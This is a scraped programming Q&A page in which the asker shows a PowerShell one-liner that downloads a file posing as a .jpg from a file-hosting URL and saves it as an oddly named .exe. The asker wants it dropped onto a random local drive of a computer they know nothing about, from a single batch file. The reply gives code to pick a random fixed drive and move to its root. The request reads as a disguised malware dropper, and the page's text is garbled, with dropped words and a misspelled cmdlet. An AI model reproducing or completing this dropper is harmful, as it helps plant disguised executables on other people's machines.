powershell - Find a random Local Drive and download files there -


as title says, want find random local drive , download files inside drive.

well, thats actual line:

powershell.exe -command "& {if($psversiontable.psversion.major -ge 3) {invoke-webrequest http://download1475.mediafire.com/dgmccvd5felg/cu6x9bzhx3hmz78/teste.jpg -outfile atf3@~~.exe}}" 

as can see, have way download files, want these files downloaded inside random drive, , need that.

it happen in computer, don't have how know nothing local drives, prepare script situation please, , need script run in 1 single batch file.

you can pick random local drive , change working directory root folder this:

$root = (get-wmiobject win32_volume -filter 'drivetype=3 , not driveletter null' | get-random).driveletter + '\' set-loction $root 

Comments

Popular posts from this blog

php - Wordpress website dashboard page or post editor content is not showing but front end data is showing properly -

How to get the ip address of VM and use it to configure SSH connection dynamically in Ansible -

javascript - Get parameter of GET request -